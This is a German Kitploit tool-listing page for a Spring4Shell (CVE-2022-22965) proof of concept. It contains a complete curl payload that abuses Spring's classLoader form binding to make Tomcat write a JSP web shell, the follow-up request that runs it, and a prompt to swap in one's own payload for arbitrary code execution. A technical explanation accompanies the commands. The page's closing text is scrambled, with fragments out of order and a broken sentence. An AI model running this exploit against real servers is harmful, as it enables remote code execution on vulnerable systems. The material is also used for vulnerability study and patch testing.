Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22965-PoC | Kitploit
Tools/GitHubGitHub/kirill89/cve-2022-22965-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Repository anzeigen
3221vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-22965 PoC

Minimales Beispiel, wie CVE-2022-22965 Spring RCE reproduziert werden kann.

Ausführen mit docker compose

  1. Erstellen Sie die Anwendung mit Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. Um die App zu testen, rufen Sie http://localhost:8080/handling-form-submission-complete/greeting auf
  3. Führen Sie den Exploit aus
    root@kitploit:~
    ./exploits/run.sh
    
  4. Der Exploit erstellt eine Datei rce.jsp in webapps/handling-form-submission-complete auf dem Webserver.
  5. Nutzen Sie den Exploit Rufen Sie http://localhost:8080/handling-form-submission-complete/rce.jsp auf

Alternative Methode (debug-orientiert)

  1. Starten Sie den Tomcat-Server in Docker
    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    
    Fügen Sie -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" hinzu, wenn Sie remote debuggen möchten.
  2. Erstellen Sie das Projekt
    root@kitploit:~
    ./mvnw install
    
  3. Stellen Sie die App bereit
    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. Schreiben Sie den Exploit
    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    
    Der Exploit erstellt eine Datei rce.jsp in webapps/handling-form-submission-complete auf dem Webserver.
  5. Nutzen Sie den Exploit
    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    
    Jetzt sehen Sie 123 im Terminal des Containers. Ersetzen Sie System.out.println(123) durch Ihr Payload, um beliebigen Code auszuführen.

Kurze technische Erklärung

  1. Spring weiß, wie Formularfelder an Java-Objekte gebunden werden. In unserem Beispiel verarbeitet GreetingController POST-Anfragen auf dem Endpunkt /greeting und bindet Formularfelder an das Greeting-Objekt.
  2. Es unterstützt auch die Bindung verschachtelter Felder (z. B. user.info.firstname). Siehe AbstractNestablePropertyAccessor als Referenz.
  3. In unserem Beispiel hat die Klasse Greeting zwei Felder, id und content, aber tatsächlich enthält sie auch einen Verweis auf das Class-Objekt. Wir können class.module.classLoader als Formulardatenschlüssel verwenden, um auf den Klassenlader zuzugreifen.
  4. In dem Fix sehen wir, dass die Hauptänderung darin bestand, den Zugriff auf die meisten Eigenschaften des Class-Objekts einzuschränken, einschließlich der module-Eigenschaft.
  5. Dieses Verhalten erlaubt es uns, öffentliche Eigenschaften von Klassen zu setzen, die über die verschachtelte Referenzkette von der Klasse aus erreichbar sind. Sonst nichts. In den meisten Fällen ist es nicht einmal gefährlich, da selbst über keine Klassen mit öffentlichen Feldern verfügbar sind.

Bedingungen

Der Exploit funktioniert nur auf Tomcat, da dieser einen speziellen Klassenlader besitzt. Allerdings kann eine ähnliche Referenzkette auch auf anderen Webanwendungsservern existieren. Sie wurde nur noch nicht ohne Weiteres entdeckt.

Der Exploit erfordert Java 9 oder höher, da die module-Eigenschaft in Java 9 hinzugefügt wurde.

Referenzen

  • Der Serverteil basiert auf der Schritt-für-Schritt-Anleitung https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
  • Der Exploit-Teil basiert auf dem Skript https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
  • Der Snyk-Hinweis zu dieser Schwachstelle ist hier verfügbar: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
Tool herunterladen
Greeting
class.module.classLoader.
  • Auf dem Tomcat-Server wird es zum Problem, da der Klassenlader dort einen getResources-Zugriff besitzt, der es uns ermöglicht, die Referenzkette fortzusetzen und auf eine der Instanzen der AccessLogValve-Klasse zuzugreifen.
  • Diese Klasse ist dafür gedacht, Logs zu schreiben. Wir ändern einige Eigenschaften, um sie Dateien mit einem von uns gewählten Namen und Inhalt schreiben zu lassen. Wir können an dieser Stelle beliebige Dateien schreiben.
  • Wir erstellen eine jsp-Datei im Stammverzeichnis des Anwendungsordners mit dem schädlichen Payload. Da jsp-Dateien von Tomcat automatisch ausgeführt werden, können wir sie im Browser aufrufen und schließlich das Payload ausführen. Jetzt ist es RCE.